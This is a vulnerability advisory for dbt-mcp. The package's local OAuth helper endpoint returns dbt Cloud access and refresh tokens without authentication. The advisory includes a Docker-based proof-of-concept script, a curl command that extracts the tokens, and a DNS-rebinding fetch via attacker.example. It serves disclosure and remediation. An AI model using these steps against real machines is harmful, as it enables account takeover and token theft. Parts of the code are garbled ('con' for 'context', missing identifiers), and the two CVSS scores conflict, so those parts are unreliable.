PT-2026-51116 · Pypi · Dbt-Mcp

Published 2026-06-19 · Updated 2026-06-19 · CVE-2026-55837

OSV

CVSS v3.1

6.8

Medium

Base vector

AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens

Summary

The local OAuth helper FastAPI server bundled with dbt-mcp exposes the GET /dbt platform context endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full DbtPlatformContext object — including the victim's access token and refresh token for the dbt Platform API — verbatim to any caller that can reach 127.0.0.1:6785. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. CVSS Base Score: 8.0 (High).

Details

During the OAuth login flow, dbt-mcp launches an embedded FastAPI server (the "OAuth helper") bound to 127.0.0.1 starting on port 6785 (configured at src/dbt mcp/config/credentials.py:34, OAUTH REDIRECT STARTING PORT = 6785). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.

Data flow from source to sink:

1. Source — src/dbt mcp/oauth/fastapi app.py:106: The OAuth callback receives token response from the dbt Platform authorization server.
2. src/dbt mcp/oauth/dbt platform.py:60: AccessTokenResponse(**token response) stores access token and refresh token as plaintext fields.
3. src/dbt mcp/oauth/dbt platform.py:64–69: The AccessTokenResponse is embedded inside DecodedAccessToken, which is in turn embedded inside DbtPlatformContext.
4. src/dbt mcp/oauth/fastapi app.py:114: The fully token-bearing DbtPlatformContext object is passed to context manager for persistence.
5. Persistence sink — src/dbt mcp/oauth/context manager.py:63–64: yaml.dump(context.model dump()) serializes the entire model — including tokens — to a YAML file on disk.
6. HTTP sink — src/dbt mcp/oauth/fastapi app.py:162–165: The GET /dbt platform context route reads the YAML file back and returns the raw DbtPlatformContext object with no redaction.

# src/dbt mcp/oauth/fastapi app.py:162-165
@app.get("/dbt platform context")
def get dbt platform context() -> DbtPlatformContext:
  logger.info("Selected project received")
  return dbt platform context manager.read context() or DbtPlatformContext()

# src/dbt mcp/oauth/dbt platform.py:8-14
class AccessTokenResponse(BaseModel):
  access token: str
  refresh token: str
  ...

class DbtPlatformContext(BaseModel):
  decoded access token: DecodedAccessToken | None = None
  ...

Missing protections (confirmed by grep):

• No TrustedHostMiddleware — the server accepts requests with arbitrary Host headers, enabling DNS rebinding.
• No CORSMiddleware — no cross-origin restrictions on which sites can read the response.
• No CSRF protection, no session nonce, no Origin header validation.
• The route has no FastAPI Depends() security dependency.

A grep -Rni "TrustedHostMiddleware|CORSMiddleware|csrf|origin" across the OAuth FastAPI application returns no results.

Recommended remediation:

--- a/src/dbt mcp/oauth/fastapi app.py
+++ b/src/dbt mcp/oauth/fastapi app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def redact context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+  if context is None:
+    return DbtPlatformContext()
+  return context.model copy(update={"decoded access token": None})

   app = FastAPI()
+  app.add middleware(
+    TrustedHostMiddleware,
+    allowed hosts=["localhost", "127.0.0.1"],
+  )

   @app.get("/dbt platform context")
   def get dbt platform context() -> DbtPlatformContext:
     logger.info("Selected project received")
-    return dbt platform context manager.read context() or DbtPlatformContext()
+    return redact context(dbt platform context manager.read context())

PoC

Prerequisites:

• dbt-mcp v1.19.1 installed in a Python 3.12 environment.
• The following runtime dependencies available: authlib~=1.6.7, fastapi~=0.128.0, uvicorn~=0.38.0, pyyaml~=6.0.2, httpx~=0.28.1, starlette~=0.50.0, pydantic~=2.0, pydantic-settings~=2.10.1.
• No DBT TOKEN set (OAuth flow mode active).

Step 1 — Build the Docker test environment:

docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .

The Dockerfile installs only the OAuth helper's runtime dependencies and copies src/ and poc.py:

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir 
  "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" 
  "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" 
  "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" 
  "pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

Step 2 — Run the PoC:

docker run --rm --network=host vuln001-dbt-mcp

The PoC script (poc.py) performs the following automatically:

1. Writes a realistic fake OAuth context YAML to /tmp/dbt poc mcp.yml, simulating a victim who has already completed the OAuth login flow.
2. Instantiates the real create app() from src/dbt mcp/oauth/fastapi app.py using DbtPlatformContextManager backed by the pre-seeded file.
3. Starts the server on 127.0.0.1:16785 in a background thread.
4. Issues an unauthenticated GET /dbt platform context with no Authorization header.
5. Asserts that access token and refresh token are returned verbatim.

Equivalent manual curl (against the live OAuth helper during actual OAuth flow):

# While the victim is running the OAuth login flow:
export DBT HOST='cloud.getdbt.com'
unset DBT TOKEN
dbt-mcp  # OAuth helper starts on 127.0.0.1:6785

# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt platform context' 
 | jq '.decoded access token.access token response'

Expected output (Phase 2 observed):

[*] HTTP Status: 200
[*] Full response JSON:
{
 "decoded access token": {
  "access token response": {
   "access token": "eyJhbGciOiJSUzI1NiJ9.VICTIM ACCESS TOKEN PLACEHOLDER",
   "refresh token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
   "expires in": 3600,
   "scope": "user access offline access",
   "token type": "Bearer",
   "expires at": 9999999999
  },
  ...
 },
 ...
}
[!] LEAKED access token : eyJhbGciOiJSUzI1NiJ9.VICTIM ACCESS TOKEN PLACEHOLDER
[!] LEAKED refresh token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt platform context WITHOUT authentication!

DNS rebinding variant:

A malicious website can resolve attacker.example to 127.0.0.1 after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any Host header, the browser treats http://attacker.example:6785 as same-origin and fetches /dbt platform context via JavaScript fetch(), obtaining the full token JSON across the network without any local access.

Impact

Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The access token grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The refresh token (with offline access scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.

This vulnerability is a Missing Authentication for Critical Function (CWE-306). Any developer machine running dbt-mcp with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because dbt-mcp is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

WORKDIR /app

# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir 
 "authlib~=1.6.7" 
 "fastapi~=0.128.0" 
 "uvicorn~=0.38.0" 
 "pyjwt~=2.12.0" 
 "pyyaml~=6.0.2" 
 "httpx~=0.28.1" 
 "filelock~=3.20.3" 
 "starlette~=0.50.0" 
 "requests>=2.28" 
 "pydantic~=2.0" 
 "pydantic-settings~=2.10.1"

# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src

ENV PYTHONPATH=/app/src

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens

Attack scenario:
 - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
 - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
 - GET /dbt platform con is accessible with NO authentication at all.
 - Any process on the same host (or a DNS-rebinding browser page) can call it
 and receive the full access token + refresh token.

This PoC:
 1. Pre-seeds a con file with fake-but-realistic OAuth tokens
 (simulating a victim who has already completed the OAuth flow).
 2. Starts the real vulnerable FastAPI app from src/dbt mcp/oauth/fastapi app.py.
 3. Issues an unauthenticated HTTP GET /dbt platform con (no auth header).
 4. Confirms the tokens are returned verbatim.
"""

import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path

import httpx
import uvicorn
import yaml

# Fake tokens that simulate a victim's completed OAuth session.
FAKE ACCESS TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM ACCESS TOKEN PLACEHOLDER"
FAKE REFRESH TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"

FAKE CONTEXT = {
 "decoded access token": {
 "access token response": {
 "access token": FAKE ACCESS TOKEN,
 "refresh token": FAKE REFRESH TOKEN,
 "expires in": 3600,
 "scope": "user access offline access",
 "token type": "Bearer",
 "expires at": 9999999999,
 },
 "decoded claims": {
 "sub": "99999",
 "iat": 1700000000,
 "exp": 9999999999,
 },
 },
 "host prefix": "victimco",
 "dbt host": "cloud.getdbt.com",
 "account id": 42,
 "selected project ids": None,
 "dev environment": None,
 "prod environment": None,
}

PORT = 16785


def start server(context file: Path, static dir: str) -> None:
 """Run the actual vulnerable FastAPI app in a background thread."""
 from authlib.integrations.requests client import OAuth2Session
 from dbt mcp.oauth.context manager import DbtPlatformContextManager
 from dbt mcp.oauth.fastapi app import create app

 context manager = DbtPlatformContextManager(context file)

 # A dummy OAuth client — only used by the /oauth-callback route,
 # which this PoC never triggers.
 fake oauth client = OAuth2Session(client id="poc-dummy-client")

 app = create app(
 oauth client=fake oauth client,
 state to verifier={},
 dbt platform url="https://cloud.getdbt.com",
 static dir=static dir,
 dbt platform context manager=context manager,
 )

 loop = asyncio.new event loop()
 asyncio.set event loop(loop)
 config = uvicorn.Config(
 app=app, host="127.0.0.1", port=PORT, log level="error", loop="asyncio"
 )
 server = uvicorn.Server(config)
 loop.run until complete(server.serve())


def wait for server(port: int, timeout: float = 15.0) -> bool:
 import socket

 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 with socket.create connection(("127.0.0.1", port), timeout=1):
 return True
 except OSError:
 time.sleep(0.2)
 return False


def main() -> int:
 print("[*] VULN-001 PoC — Unauthenticated /dbt platform con token leak")
 print("=" * 70)

 # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
 context file = Path("/tmp/dbt poc mcp.yml")
 context file.write (
 yaml.dump(FAKE CONTEXT, default flow style=False), encoding="utf-8"
 )
 print(f"[*] Con file written: {context file}")
 print(f" access token : {FAKE ACCESS TOKEN}")
 print(f" refresh token : {FAKE REFRESH TOKEN}")

 # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
 static dir = tempfile.mkdtemp(prefix="dbt poc static ")
 (Path(static dir) / "index.html").write ("<html>dbt OAuth</html>")

 # 3. Start the real vulnerable FastAPI server in a background thread
 t = threading.Thread(
 target=start server, args=(context file, static dir), daemon=True
 )
 t.start()

 print(f"
[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
 if not wait for server(PORT):
 print("[-] FAIL: Server did not start within timeout.")
 return 2

 print("[*] Server is up.")

 # 4. Send unauthenticated GET /dbt platform con (no Authorization header)
 url = f"http://127.0.0.1:{PORT}/dbt platform con"
 print(f"
[*] Sending unauthenticated GET {url}")
 try:
 resp = httpx.get(url, timeout=10)
 except Exception as exc:
 print(f"[-] HTTP request failed: {exc}")
 return 2

 print(f"[*] HTTP Status: {resp.status code}")

 if resp.status code != 200:
 print(f"[-] FAIL: Expected 200, got {resp.status code}")
 print(f" Body: {resp.[:500]}")
 return 1

 try:
 data = resp.json()
 except Exception as exc:
 print(f"[-] FAIL: Response is not JSON: {exc}
 Body: {resp.[:500]}")
 return 1

 print(f"
[*] Full response JSON:
{json.dumps(data, indent=2)}")

 # 5. Verify that the tokens are in the response (no redaction, no auth required)
 try:
 leaked access = (
 data["decoded access token"]["access token response"]["access token"]
 )
 leaked refresh = (
 data["decoded access token"]["access token response"]["refresh token"]
 )
 except (KeyError, TypeError) as exc:
 print(f"
[-] FAIL: Token fields missing from response: {exc}")
 return 1

 print(f"
[!] LEAKED access token : {leaked access}")
 print(f"[!] LEAKED refresh token : {leaked refresh}")

 if leaked access == FAKE ACCESS TOKEN and leaked refresh == FAKE REFRESH TOKEN:
 print(
 "
[+] VULNERABILITY CONFIRMED:"
 " Tokens returned from /dbt platform con WITHOUT authentication!"
 )
 return 0
 else:
 print("
[-] FAIL: Returned tokens do not match expected values.")
 print(f" Expected access token : {FAKE ACCESS TOKEN}")
 print(f" Got access token : {leaked access}")
 return 1


if  name  == " main ":
 sys.exit(main())

Fix

Missing Authentication

Information Disclosure

Origin Validation Error

Weakness Enumeration

CWE-306

CWE-200

CWE-346

Related Identifiers

CVE-2026-55837

GHSA-JR33-MW75-7J8F

Affected Products

Dbt-Mcp

References · 3

• https://osv.dev/vulnerability/GHSA-jr33-mw75-7j8f · Vendor Advisory
• https://github.com/dbt-labs/dbt-mcp · Note
• https://github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-jr33-mw75-7j8f · Note